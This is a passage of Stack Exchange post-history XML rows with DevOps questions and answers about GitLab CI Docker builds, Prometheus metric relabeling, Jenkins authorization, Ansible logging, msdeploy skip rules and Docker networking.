msg=&quot;Can't close tar writer: io: read/write on closed pipe&quot;&#xD;&#xA;error during connect: Post http://docker:2375/v1.40/build?buildargs=%7B%7D&amp;cachefrom=%5B%5D&amp;cgroupparent=&amp;cpuperiod=0&amp;cpuquota=0&amp;cpusetcpus=&amp;cpusetmems=&amp;cpushares=0&amp;dockerfile=Dockerfile&amp;labels=%7B%7D&amp;memory=0&amp;memswap=0&amp;networkmode=default&amp;rm=1&amp;session=8jgar93piqxu2s7y5yp9w2wtg&amp;shmsize=0&amp;t=html_mrt&amp;target=&amp;ulimits=null&amp;version=1: dial tcp: lookup docker on 192.168.1.1:53: no such host&#xD;&#xA;ERROR: Job failed: exit code 1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;`192.168.1.1` is the default gateway and nameserver of the host that the Docker daemon is running. &#xD;&#xA;&#xD;&#xA;How to fix the problem?&#xD;&#xA;&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="37597" PostHistoryTypeId="1" PostId="12226" RevisionGUID="c113bd87-f276-433c-bc12-ba158d98bfde" CreationDate="2020-08-18T06:53:38.617" UserId="20194" Text="GitLab pipeline stop at the stage of pulling an image from Docker hub" ContentLicense="CC BY-SA 4.0" />
  <row Id="37598" PostHistoryTypeId="3" PostId="12226" RevisionGUID="c113bd87-f276-433c-bc12-ba158d98bfde" CreationDate="2020-08-18T06:53:38.617" UserId="20194" Text="&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;&lt;apache-httpd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37602" PostHistoryTypeId="5" PostId="12226" RevisionGUID="0880bded-8ec1-4cd4-9418-2dd36b56eec3" CreationDate="2020-08-18T07:42:31.250" UserId="20194" Comment="added 299 characters in body" Text="Description:&#xD;&#xA;------------&#xD;&#xA;&#xD;&#xA;I have created a test project to serve a simple HTML page with `httpd:alpine` image. The following are the parts of the repository:&#xD;&#xA;&#xD;&#xA;`index.html`:&#xD;&#xA;```&lt;!DOCTYPE html&gt;&#xD;&#xA;&lt;html lang=&quot;en&quot;&gt;&#xD;&#xA;&lt;head&gt;&#xD;&#xA;    &lt;meta charset=&quot;UTF-8&quot;&gt;&#xD;&#xA;    &lt;title&gt;Rostami test page&lt;/title&gt;&#xD;&#xA;&lt;/head&gt;&#xD;&#xA;&lt;body&gt;&#xD;&#xA;    &lt;h1&gt;Hey guys!&lt;/h1&gt;&#xD;&#xA;&lt;/body&gt;&#xD;&#xA;&lt;/html&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`Dockerfile`:&#xD;&#xA;```&#xD;&#xA;FROM httpd:alpine&#xD;&#xA;&#xD;&#xA;COPY ./ /usr/local/apache2/htdocs/&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;`docker-compose.yml`:&#xD;&#xA;```&#xD;&#xA;version '2.2'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  myhtml:&#xD;&#xA;  image: html_mrt:latest&#xD;&#xA;  ports:&#xD;&#xA;  - &quot;9999:80&quot;&#xD;&#xA;  restart: on-failure&#xD;&#xA;  container_name: HTML_Rostami&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;`.gitlab-ci.yml`:&#xD;&#xA;```&#xD;&#xA;stages:&#xD;&#xA;  - build&#xD;&#xA;  - deploy&#xD;&#xA;&#xD;&#xA;build:&#xD;&#xA;  stage: build&#xD;&#xA;  script:&#xD;&#xA;  - docker build -t html_mrt .&#xD;&#xA;  tags:&#xD;&#xA;  - docker&#xD;&#xA;&#xD;&#xA;deploy:&#xD;&#xA;  stage: deploy&#xD;&#xA;  script:&#xD;&#xA;  - docker-compose up -d&#xD;&#xA;  - docker rmi $(docker image -q filter &quot;dangling=true&quot;)&#xD;&#xA;  tags:&#xD;&#xA;    - docker&#xD;&#xA;```&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Issue:&#xD;&#xA;------&#xD;&#xA;&#xD;&#xA;In addition, when I execute `gitlab-runner status` on the GitLab-Runner container, it says:  &#xD;&#xA;```&#xD;&#xA;Runtime platform                                    arch=amd64 os=linux pid=79 revision=a998cacd version=13.2.2&#xD;&#xA;gitlab-runner: Service is not running.&#xD;&#xA;```&#xD;&#xA;I've tried to start the service by `gitlab-runner start` but nothing has affected.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Problem:&#xD;&#xA;--------&#xD;&#xA;&#xD;&#xA;It's the log of the build stage:&#xD;&#xA;```&#xD;&#xA;Running with gitlab-runner 13.2.2 (a998cacd)&#xD;&#xA;  on Test K-1ZsHyF&#xD;&#xA;Preparing the &quot;docker&quot; executor&#xD;&#xA;00:11&#xD;&#xA;&#xD;&#xA;Using Docker executor with image docker ...&#xD;&#xA;Pulling docker image docker ...&#xD;&#xA;Using docker image sha256:81f5749c9058a7284e6acd8e126f2b882765a17b9ead14422b51cde1a110b85c for docker ...&#xD;&#xA;Preparing environment&#xD;&#xA;00:02&#xD;&#xA;&#xD;&#xA;Running on runner-k-1zshyf-project-1-concurrent-0 via 806fd175c866...&#xD;&#xA;Getting source from Git repository&#xD;&#xA;00:03&#xD;&#xA;&#xD;&#xA;Fetching changes with git depth set to 50...&#xD;&#xA;Reinitialized existing Git repository in /builds/m.rostami/test/.git/&#xD;&#xA;Checking out 82d339a9 as master...&#xD;&#xA;Skipping Git submodules setup&#xD;&#xA;Executing &quot;step_script&quot; stage of the job script&#xD;&#xA;00:04&#xD;&#xA;&#xD;&#xA;$ docker build -t html_mrt .&#xD;&#xA;time=&quot;2020-08-18T06:36:52Z&quot; level=error msg=&quot;Can't add file /builds/m.rostami/test/docker-compose.yml to tar: io: read/write on closed pipe&quot;&#xD;&#xA;time=&quot;2020-08-18T06:36:52Z&quot; level=error msg=&quot;Can't close tar writer: io: read/write on closed pipe&quot;&#xD;&#xA;error during connect: Post http://docker:2375/v1.40/build?buildargs=%7B%7D&amp;cachefrom=%5B%5D&amp;cgroupparent=&amp;cpuperiod=0&amp;cpuquota=0&amp;cpusetcpus=&amp;cpusetmems=&amp;cpushares=0&amp;dockerfile=Dockerfile&amp;labels=%7B%7D&amp;memory=0&amp;memswap=0&amp;networkmode=default&amp;rm=1&amp;session=8jgar93piqxu2s7y5yp9w2wtg&amp;shmsize=0&amp;t=html_mrt&amp;target=&amp;ulimits=null&amp;version=1: dial tcp: lookup docker on 192.168.1.1:53: no such host&#xD;&#xA;ERROR: Job failed: exit code 1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;`192.168.1.1` is the default gateway and nameserver of the host that the Docker daemon is running. &#xD;&#xA;&#xD;&#xA;How to fix the problem?&#xD;&#xA;&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="37603" PostHistoryTypeId="2" PostId="12228" RevisionGUID="98f9bfcf-fb20-4928-bb9a-8a5aabf2ef84" CreationDate="2020-08-18T11:30:46.750" UserId="12833" Text="I have static config in prometheus.yml&#xD;&#xA;&#xD;&#xA;      - job_name: 'myjob'&#xD;&#xA;        static_configs:&#xD;&#xA;          - targets: ['monitoring.api.endpoint.net']&#xD;&#xA;&#xD;&#xA;And I recieve various metrics for example `cpu_usage`, `disk_write_ops`, etc. Is it possible to put them all into namespace like `compute_cpu_usage` with relabel tool?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37604" PostHistoryTypeId="1" PostId="12228" RevisionGUID="98f9bfcf-fb20-4928-bb9a-8a5aabf2ef84" CreationDate="2020-08-18T11:30:46.750" UserId="12833" Text="How to append namespace before metric name in prometheus?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37605" PostHistoryTypeId="3" PostId="12228" RevisionGUID="98f9bfcf-fb20-4928-bb9a-8a5aabf2ef84" CreationDate="2020-08-18T11:30:46.750" UserId="12833" Text="&lt;prometheus&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37606" PostHistoryTypeId="2" PostId="12229" RevisionGUID="d0e77329-863d-4ba7-b0ba-202efeaa44ab" CreationDate="2020-08-18T12:54:24.633" UserId="23600" Text="Sorry if this question is on the wrong Stack Exchange or too vague. I am really new to DevOps and got a big task and don't want to start on the wrong direction.&#xD;&#xA;&#xD;&#xA;We have many Linux-based (Redhat) VMs in Azure and we have Splunk installed on them and I am looking for a way to automate Splunk upgrade. &#xD;&#xA;&#xD;&#xA;I don't want to upgrade Splunk every-time there is a new version, but I was wondering if I can selectively upload a new version somewhere in Azure and have a Runbook that detects the new version and execute the Runbook to upgrade the Splunk app on each VM?&#xD;&#xA;&#xD;&#xA;Upgrading Splunk requires a custom script (to make sure the new version is compatible with our environment) which makes this automation harder to design I suppose. &#xD;&#xA;&#xD;&#xA;Is there a better way or option to perform Splunk upgrade? Preferably in a rolling fashion.&#xD;&#xA;&#xD;&#xA;Any help would be appreciated.&#xD;&#xA;&#xD;&#xA;Thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="37607" PostHistoryTypeId="1" PostId="12229" RevisionGUID="d0e77329-863d-4ba7-b0ba-202efeaa44ab" CreationDate="2020-08-18T12:54:24.633" UserId="23600" Text="Automate Application Upgrade in Azure VMs" ContentLicense="CC BY-SA 4.0" />
  <row Id="37608" PostHistoryTypeId="3" PostId="12229" RevisionGUID="d0e77329-863d-4ba7-b0ba-202efeaa44ab" CreationDate="2020-08-18T12:54:24.633" UserId="23600" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;automation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37612" PostHistoryTypeId="2" PostId="12231" RevisionGUID="cd1b0ef5-1b5a-40df-a4f8-30810e590434" CreationDate="2020-08-18T13:11:02.230" UserId="12833" Text="Found this solution:&#xD;&#xA;&#xD;&#xA;    static_configs:&#xD;&#xA;      - targets: ['monitoring.api.endpoint.net']&#xD;&#xA;    metric_relabel_configs:&#xD;&#xA;    - source_labels: [__name__]&#xD;&#xA;      regex: '(.*)'&#xD;&#xA;      replacement: 'compute_${1}'&#xD;&#xA;      target_label: __name__      " ContentLicense="CC BY-SA 4.0" />
  <row Id="37613" PostHistoryTypeId="2" PostId="12232" RevisionGUID="933d97bc-3d69-49c6-8c59-3d18e240bd42" CreationDate="2020-08-18T13:24:33.543" UserId="21785" Text="You could use Project-based Matrix Authorization Strategy for user authorisation in Jenkins. &#xD;&#xA;&#xD;&#xA;Works well with Folders plugin, then you have each project in a separate folder and permissions on each folder are set to a team that looks after the project. &#xD;&#xA;&#xD;&#xA;Each node/slave can have access permissions specified. For example, for node A you will only list Team A as users/team who can have Build and Configure permissions. Team B for node B etc. It is a pain if you have dozens of nodes though.&#xD;&#xA;&#xD;&#xA;If integrated with AD, then groups as they are defined in AD can be used to restrict/give access without having to list all members of the team who needs access to which node/project.&#xD;&#xA;&#xD;&#xA;Authorisation strategy is defined in &#xD;&#xA;&quot;Manage Jenkins&quot; -&gt; “Configure Global Security Option&quot; -&gt; &quot;Authorisation&quot; -&gt; &quot;Project-based Matrix Authorization Strategy&quot;&#xD;&#xA;This article describes it to a degree: https://www.thegeekstuff.com/2016/06/jenkins-security/&#xD;&#xA;&#xD;&#xA;You could do the same with just Matrix Authorization Strategy, only you won't have projects. You might not need them at all (depends on how many project/teams you have) and then you will only restrict node permissions." ContentLicense="CC BY-SA 4.0" />
  <row Id="37615" PostHistoryTypeId="2" PostId="12234" RevisionGUID="6c763ec3-dede-4e88-8c65-e8afbe5c8a43" CreationDate="2020-08-18T14:13:59.990" UserId="17679" Text="Use the register module and store the result in a variable.&#xD;&#xA;&#xD;&#xA;     - hosts: all&#xD;&#xA;       tasks:&#xD;&#xA;         - name: Ansible register variable basic example&#xD;&#xA;           shell: &quot;find *.txt&quot;&#xD;&#xA;           args:&#xD;&#xA;             chdir: &quot;/Users/mdtutorials2/Documents/Ansible&quot;&#xD;&#xA;           register: find_output&#xD;&#xA;  &#xD;&#xA;         - debug:&#xD;&#xA;             var: find_output&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37616" PostHistoryTypeId="2" PostId="12235" RevisionGUID="6211412b-53ad-474e-a435-5e3fe688fb97" CreationDate="2020-08-18T15:53:09.930" UserId="12305" Text="Set the log file to use inline or [in Ansible config][1], then run ansible-playbook with verbose option:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ANSIBLE_LOG_PATH=&quot;ansible-$(date +%Y%m%d%H%M%S).log&quot; \&#xD;&#xA;ansible-playbook -vvvv \&#xD;&#xA;    --diff \&#xD;&#xA;    -i inventory/myinventory \&#xD;&#xA;    myplaybook.yml&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;- `ANSIBLE_LOG_PATH` - is an environment variable that [maps][2] to the `log_path` configuration item. Sets the file to log to. When using an environment variable you can use shell substitution to add the date and time to the file name so the next run doesn't overwrite the log file.&#xD;&#xA;- `-vvvv` - be very very very verbose. Will show SSH commands executed.&#xD;&#xA;- `--diff` - bonus, when making a change show what has been done.&#xD;&#xA;- the rest are standard options.&#xD;&#xA;&#xD;&#xA;The log will be in a file in the current directory named something like `ansible-20200818155322.log`&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/reference_appendices/logging.html&#xD;&#xA;  [2]: https://docs.ansible.com/ansible/latest/reference_appendices/config.html#envvar-ANSIBLE_LOG_PATH" ContentLicense="CC BY-SA 4.0" />
  <row Id="37618" PostHistoryTypeId="5" PostId="11125" RevisionGUID="f5358e32-f277-441b-ae74-2efd3e18119c" CreationDate="2020-08-18T19:10:12.463" UserId="19938" Comment="Fixed syntax highlighting." Text="As @yang-shen-msft [notes on Stack Overflow](https://stackoverflow.com/a/60541274/3025856), there doesn't appear to be a way to honor the `MSDeploySkipRules` defined in the `csproj` file. Instead, files and folders can be skipped by defining the _Additional Arguments_ (`AdditionalArguments`) parameter of the _Azure App Service Deploy_ (`AzureRmWebAppDeployment`) task, [as discussed in another Stack Overflow answer](https://stackoverflow.com/a/46961055/3025856).&#xD;&#xA;&#xD;&#xA;Since there doesn't appear to be any official documentation for the `-skip` rules, and [the `MSDeploy.exe` documentation that Azure Pipelines references](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd569089(v=ws.10)?redirectedfrom=MSDN) is out-of-date, the following provides additional details.&#xD;&#xA;&#xD;&#xA;First, it's useful to recognize that when you deploy a project via Visual Studio, it's simply taking the `MSDeploySkipRules` configured in the `csproj` file and adding them to it's internal call of `msdeploy.exe` as `-skip` rules. So, given the following rule defined in the `csproj`:&#xD;&#xA;```xml&#xD;&#xA;&lt;Project Sdk=&quot;Microsoft.NET.Sdk.Web&quot;&gt;&#xD;&#xA;  …&#xD;&#xA;  &lt;ItemGroup&gt;&#xD;&#xA;    &lt;MsDeploySkipRules Include=&quot;CustomSkipFolder&quot;&gt;&#xD;&#xA;      &lt;ObjectName&gt;dirPath&lt;/ObjectName&gt;&#xD;&#xA;      &lt;AbsolutePath&gt;wwwroot\\Uploads&lt;/AbsolutePath&gt;&#xD;&#xA;    &lt;/MsDeploySkipRules&gt;&#xD;&#xA;  &lt;/ItemGroup&gt;&#xD;&#xA;&lt;/Project&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The `-skip` rule is interpreted as:&#xD;&#xA;```shell&#xD;&#xA;msdeploy.exe -skip:objectName=dirPath,absolutePath=wwwroot\\Uploads&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Translating this to the _Azure App Service Deploy_ (`AzureRmWebAppDeployment`) task, the resulting `yml` might look like:&#xD;&#xA;```yml&#xD;&#xA;- task: AzureRmWebAppDeployment@4&#xD;&#xA;  inputs:&#xD;&#xA;    ConnectionType: 'AzureRM'&#xD;&#xA;    azureSubscription: 'Azure Subscription'&#xD;&#xA;    appType: 'webApp'&#xD;&#xA;    WebAppName: 'MyStagingSite'&#xD;&#xA;    packageForLinux: '$(Build.ArtifactStagingDirectory)/**/*.zip'&#xD;&#xA;    enableCustomDeployment: true&#xD;&#xA;    DeploymentType: 'webDeploy'&#xD;&#xA;    enableXmlTransform: false&#xD;&#xA;    enableXmlVariableSubstitution: true&#xD;&#xA;    RemoveAdditionalFilesFlag: true&#xD;&#xA;    AdditionalArguments: '-skip:objectName=dirPath,absolutePath=wwwroot\\Uploads'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&gt; _Note:_ Multiple `-skip` rules can be defined on the same `msdeploy.exe` call. &#xD;&#xA;&#xD;&#xA;Unfortunately, as mentioned above, there doesn't _appear_ to be any official, first-party documentation for the `-skip` rules on `msdeploy.exe`. The [2014 documentation](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd569089(v=ws.10)?redirectedfrom=MSDN) acknowledges them, and provides two examples, but doesn't expand on the options. That said, way back in 2012, @richard-szalay wrote a useful article, &quot;[Demystifying MSDeploy skip rules](https://blog.richardszalay.com/2012/12/17/demystifying-msdeploy-skip-rules/)&quot;, which provides useful direction here for anyone requiring additional control over their `-skip` rules." ContentLicense="CC BY-SA 4.0" />
  <row Id="37622" PostHistoryTypeId="2" PostId="12237" RevisionGUID="cfaa34e2-369e-4657-8c99-609172b6a908" CreationDate="2020-08-18T21:41:10.630" UserId="16282" Text="I image you have used the dockerExecutor in gitlab-runner. This means you try to use docker-in-docker. &#xD;&#xA;https://docs.gitlab.com/ee/ci/docker/using_docker_build.html &#xD;&#xA;&#xD;&#xA;I suggest to configure the docker socket binding which might be less secure but very easy to handle. &#xD;&#xA;&#xD;&#xA;To register a runner with docker-in-docker support mount the `/var/run/docker.sock:/var/run/docker.sock`&#xD;&#xA;e.g.&#xD;&#xA;&#xD;&#xA;    sudo gitlab-runner register -n \&#xD;&#xA;      --url https://gitlab.com/ \&#xD;&#xA;      --registration-token REGISTRATION_TOKEN \&#xD;&#xA;      --executor docker \&#xD;&#xA;      --description &quot;My Docker Runner&quot; \&#xD;&#xA;      --docker-image &quot;docker:19.03.12&quot; \&#xD;&#xA;      --docker-volumes /var/run/docker.sock:/var/run/docker.sock" ContentLicense="CC BY-SA 4.0" />
  <row Id="37623" PostHistoryTypeId="2" PostId="12238" RevisionGUID="66a94fc4-0d19-4afc-8a82-3974a08c0dd2" CreationDate="2020-08-19T01:59:14.580" UserId="8800" Text="What you're going to do is only calling for inconsistencies between your nodes. &#xD;&#xA;&#xD;&#xA;I wouldn't do *any* deployment during the instance boot-up, instead install [**AWS CodeDeploy**](https://aws.amazon.com/codedeploy/) as part of your boot-up (or bake it into the AMI) and once the instance boots up it contacts the CodeDeploy service and obtains the newest code version.&#xD;&#xA;&#xD;&#xA;Likewise if you need to roll-out a newer code version push it to CodeDeploy and it will take care of updating all the servers in your Auto-Scaling Group in a consistent, predictable way. &#xD;&#xA;&#xD;&#xA;With ASG you really really want to prevent inconsistencies between the nodes and this is one of the ways to do it.&#xD;&#xA;&#xD;&#xA;Hope that helps :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="37640" PostHistoryTypeId="10" PostId="12134" RevisionGUID="a5b1698f-c7db-405c-8971-74f01aa93f1e" CreationDate="2020-08-19T12:20:28.287" UserId="40" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:354,&quot;DisplayName&quot;:&quot;Bruce Becker&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="37641" PostHistoryTypeId="2" PostId="12243" RevisionGUID="b7fa1c5c-e8e3-415e-81e1-237b881cc57b" CreationDate="2020-08-19T13:07:19.340" UserId="23614" Text="I'm working on a Windows laptop and running Docker for Windows on it. I want to run an ubuntu container with a specifi version and mysql Server on it. So the question is do ihave to download  mysql on the ubuntu container or can i run 2 containers( ubuntu and my sql) and combine them? How do i combine these 2 containers?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37642" PostHistoryTypeId="1" PostId="12243" RevisionGUID="b7fa1c5c-e8e3-415e-81e1-237b881cc57b" CreationDate="2020-08-19T13:07:19.340" UserId="23614" Text="Combining Two Containers" ContentLicense="CC BY-SA 4.0" />
  <row Id="37643" PostHistoryTypeId="3" PostId="12243" RevisionGUID="b7fa1c5c-e8e3-415e-81e1-237b881cc57b" CreationDate="2020-08-19T13:07:19.340" UserId="23614" Text="&lt;docker&gt;&lt;windows&gt;&lt;mysql&gt;&lt;ubuntu&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37644" PostHistoryTypeId="2" PostId="12244" RevisionGUID="a0cbcec6-42ca-4584-ad82-3ec66dd20bf2" CreationDate="2020-08-19T13:34:51.560" UserId="124" Text="[Docker Compose][1] makes it easy to run multiple services together, with networking. You can even specify the start up order.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/compose" ContentLicense="CC BY-SA 4.0" />
  <row Id="37645" PostHistoryTypeId="5" PostId="12243" RevisionGUID="a4f44d87-f260-41a7-8ad9-d8e0a98bac74" CreationDate="2020-08-19T15:09:50.877" UserId="1180" Comment="typos corrected" Text="I'm working on a Windows laptop and running Docker for Windows on it. I want to run an Ubuntu container with a specific version and a MySQL server on it. So the question is, do I have to download MySQL on the Ubuntu container or can I run 2 containers (Ubuntu and MySQL) and combine them? How do I combine these 2 containers?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37646" PostHistoryTypeId="24" PostId="12243" RevisionGUID="a4f44d87-f260-41a7-8ad9-d8e0a98bac74" CreationDate="2020-08-19T15:09:50.877" Comment="Proposed by 1180 approved by 40 edit id of 1265" ContentLicense="CC BY-SA 4.0" />
  <row Id="37647" PostHistoryTypeId="2" PostId="12245" RevisionGUID="dbeafb9a-7057-4d68-b0ba-a8c0a11b4ebf" CreationDate="2020-08-19T15:56:40.813" UserId="23616" Text="In https://www.digitalocean.com/docs/accounts/teams/resources/ , it says &quot;The API does not support teams.&quot; and &quot;doctl is a command-line interface for the DigitalOcean API and supports many of the same actions. Like the API, doctl does not support teams.&quot;&#xD;&#xA;&#xD;&#xA;So I don't think you can do what you want to do, unfortunately. AFAIK, Terraform just uses the API." ContentLicense="CC BY-SA 4.0" />
  <row Id="37648" PostHistoryTypeId="2" PostId="12246" RevisionGUID="762e9cd0-d69c-49e5-a8c4-57c0eb8a6ceb" CreationDate="2020-08-19T19:27:41.587" UserId="6308" Text="Current using AWS's auto-scale policy to start EKS worker nodes(min+desired 10, max 15) on a fixed time everyday. There are 120pods. &#xD;&#xA;Obviously, only one node will be up firstly. Then the second node. After that last node will be up. &#xD;&#xA;For that reason, Kubernetes add all pods in the first nodes.&#xD;&#xA;Is there any way so that pods will be evenly distributed in the scenario? " ContentLicense="CC BY-SA 4.0" />
  <row Id="37649" PostHistoryTypeId="1" PostId="12246" RevisionGUID="762e9cd0-d69c-49e5-a8c4-57c0eb8a6ceb" CreationDate="2020-08-19T19:27:41.587" UserId="6308" Text="spread pods over cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="37650" PostHistoryTypeId="3" PostId="12246" RevisionGUID="762e9cd0-d69c-49e5-a8c4-57c0eb8a6ceb" CreationDate="2020-08-19T19:27:41.587" UserId="6308" Text="&lt;amazon-web-services&gt;&lt;autoscaling&gt;&lt;eks&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37651" PostHistoryTypeId="5" PostId="12246" RevisionGUID="83aa53d4-6340-48f0-85b4-03823519a3c6" CreationDate="2020-08-19T20:05:24.167" UserId="6308" Comment="added 17 characters in body" Text="Current using AWS's auto-scale policy to start EKS worker nodes(min+desired 10, max 15) on a fixed time everyday. There are 120pods and 30deployments.&#xD;&#xA;Obviously, only one node will be up firstly. Then the second node. After that last node will be up. &#xD;&#xA;For that reason, Kubernetes add all pods in the first nodes.&#xD;&#xA;Is there any way so that pods will be evenly distributed in the scenario? " ContentLicense="CC BY-SA 4.0" />
  <row Id="37652" PostHistoryTypeId="2" PostId="12247" RevisionGUID="f603cc41-142d-4454-8dec-551a634eb0ad" CreationDate="2020-08-19T21:56:16.877" UserId="23619" Text="Hi i’m trying to communicate with mongodb in the host from a flask container…&#xD;&#xA;&#xD;&#xA;So using “docker.host.internal” on the URI didn’t work (host machine is Ubuntu)&#xD;&#xA;&#xD;&#xA;Any suggestions ?? To solve this&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37653" PostHistoryTypeId="1" PostId="12247" RevisionGUID="f603cc41-142d-4454-8dec-551a634eb0ad" CreationDate="2020-08-19T21:56:16.877" UserId="23619" Text="Docker container host machine communication" ContentLicense="CC BY-SA 4.0" />
  <row Id="37654" PostHistoryTypeId="3" PostId="12247" RevisionGUID="f603cc41-142d-4454-8dec-551a634eb0ad" CreationDate="2020-08-19T21:56:16.877" UserId="23619" Text="&lt;docker&gt;&lt;ubuntu&gt;&lt;flask&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37655" PostHistoryTypeId="5" PostId="12244" RevisionGUID="58d32472-6d65-41eb-9e0d-bc0744aef3ab" CreationDate="2020-08-20T03:18:02.023" UserId="124" Comment="Clairfied and expanded the answer to better respond to the question." Text="At first, I misread your question, thinking you wanted to run more than one service together, so I had recommended [Docker Compose][1] which makes it easy to run multiple services together, with networking, and can even specify the start up order.&#xD;&#xA;&#xD;&#xA;But now I see you are just trying to run MySQL, and wondering do you need separate containers for the OS and MySQL: in short, no you don't need two containers. Instead, just get the MySQL image from DockerHub at https://hub.docker.com/_/mysql?tab=description&#xD;&#xA;&#xD;&#xA;The reason you can just use that MySQL Docker image by itself is because it already is installed on a Debian image, which you can see in the Dockerfile at https://github.com/docker-library/mysql/blob/master/8.0/Dockerfile where it shows:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM debian:buster-slim&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So, to solve the problem, do: &#xD;&#xA;&#xD;&#xA; 1. `docker pull mysql`&#xD;&#xA; 2. `docker run --name some-mysql -e MYSQL_ROOT_PASSWORD=my-secret-pw -d mysql:tag` as mentioned in the instructions on the Docker Hub page. Additional documentation at https://github.com/docker-library/docs/tree/master/mysql&#xD;&#xA;&#xD;&#xA;I do strongly recommend using Docker Compose (`docker-compose` command) to run containers, as it makes it easier to organise and run them.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/compose" ContentLicense="CC BY-SA 4.0" />
  <row Id="37656" PostHistoryTypeId="2" PostId="12248" RevisionGUID="15d75cb1-0236-40cc-befc-0a54b227bcae" CreationDate="2020-08-20T06:28:08.687" UserId="15151" Text="You can add an alias IP address to the loopback interface on the host and use that.&#xD;&#xA;&#xD;&#xA;Any private address you won't see on the local or container networks, something like 10.8.8.8&#xD;&#xA;&#xD;&#xA;Edit `/etc/network/interfaces.d/lo` for a permanent address after reboot&#xD;&#xA;```&#xD;&#xA;auto lo&#xD;&#xA;iface lo inet loopback&#xD;&#xA;iface lo inet static&#xD;&#xA;  address 10.8.8.8/32&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;or to temporarily test&#xD;&#xA;```&#xD;&#xA;ip address add 10.8.8.8/32 dev lo&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="37657" PostHistoryTypeId="2" PostId="12249" RevisionGUID="4e3ac83d-cf87-479e-81fb-f7e57afc21fb" CreationDate="2020-08-20T08:12:45.890" UserId="23625" Text="sometimes it happens when you apply Istio mTLS so first try to disable mTLS in the relevant namespace&#xD;&#xA;```&#xD;&#xA;kubectl get peerauthentication --all-namespaces&#xD;&#xA;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="37658" PostHistoryTypeId="5" PostId="12249" RevisionGUID="e763c78a-4f7d-4a9b-b520-e45737d7d36a" CreationDate="2020-08-20T11:37:43.123" UserId="23625" Comment="added 60 characters in body" Text="sometimes it happens when you apply Istio mTLS so first try to disable mTLS in the relevant namespace. (especially if you are using some kind of gRPC in the pod)&#xD;&#xA;```&#xD;&#xA;kubectl get peerauthentication --all-namespaces&#xD;&#xA;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="37659" PostHistoryTypeId="50" PostId="8724" RevisionGUID="a6acff63-adbb-4a92-8352-c794dbe19ef7" CreationDate="2020-08-20T13:00:05.993" UserId="-1" />
  <row Id="37660" PostHistoryTypeId="5" PostId="12248" RevisionGUID="b886503e-a516-423d-a4c2-8d2c8d97b356" CreationDate="2020-08-20T21:59:24.960" UserId="15151" Comment="added 43 characters in body" Text="You can add an alias IP address to the loopback interface on the host to get a consistent address to use from your containers.&#xD;&#xA;&#xD;&#xA;Any private address you won't see on the local or container networks, something like 10.8.8.8&#xD;&#xA;&#xD;&#xA;Edit `/etc/network/interfaces.d/lo` for a permanent address after reboot&#xD;&#xA;```&#xD;&#xA;auto lo&#xD;&#xA;iface lo inet loopback&#xD;&#xA;iface lo inet static&#xD;&#xA;  address 10.8.8.8/32&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;or to temporarily test&#xD;&#xA;```&#xD;&#xA;ip address add 10.8.8.8/32 dev lo&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
